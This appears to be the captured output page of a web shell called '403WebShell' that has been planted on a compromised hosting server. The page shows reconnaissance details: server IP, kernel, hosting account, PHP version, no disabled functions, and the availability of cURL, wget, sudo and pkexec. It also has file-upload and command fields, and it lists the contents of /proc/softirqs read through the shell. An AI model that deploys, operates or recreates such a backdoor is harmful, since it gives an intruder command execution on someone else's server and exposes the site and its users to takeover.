%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 3.144.89.238
Web Server : Apache
System : Linux web231.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          5          2          0          2          0          0          0          0          0          0          0          0          0          0          0          1
       TIMER:  454991456  333079924  442820689  294343111  458872477  283622418  452494119  283509080  445640762  267958477  439968677  262383747  419006040  262758614  418417941  258747385
      NET_TX:    6332314      73647    2472891      71753    7148319      73792    6339047      76438   10652875      74751    6236020      77838    3647295      75702    3683171      75344
      NET_RX:  910487429     582380 2132555665     419494  832379797     427701 1577185416     426277  636355780     408123 4076803070     572445 2243924836     411444 1405121662     419810
       BLOCK:          0         17          0          7          0         18          0          3          0          3          0         11          0         10          0         28
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET: 2235407730      11708  616472176      11620 2382760925      11689 2385976534      11633 2077110298      11486 2106782440      11537  764032682      11516  796925528      11496
       SCHED: 1413176724  879258478 1089779763  711431852 1017275831  675301437 1007262349  665044470  993850011  650777232  990666235  647436052  990123125  646439711  985960105  644164531
     HRTIMER:      34421         33      70064         32       2404         29      36558         33       4354         29      12958         33      34992         29      40420         31
         RCU: 1804488064 1301432383 1647209825 1105292224 1679644639 1061730865 1662878427 1055008934 1659172654 1037485097 1672306926 1023314267 1632311747 1031498290 1623740730 1030017323

Youez - 2016 - github.com/yon3zu
LinuXploit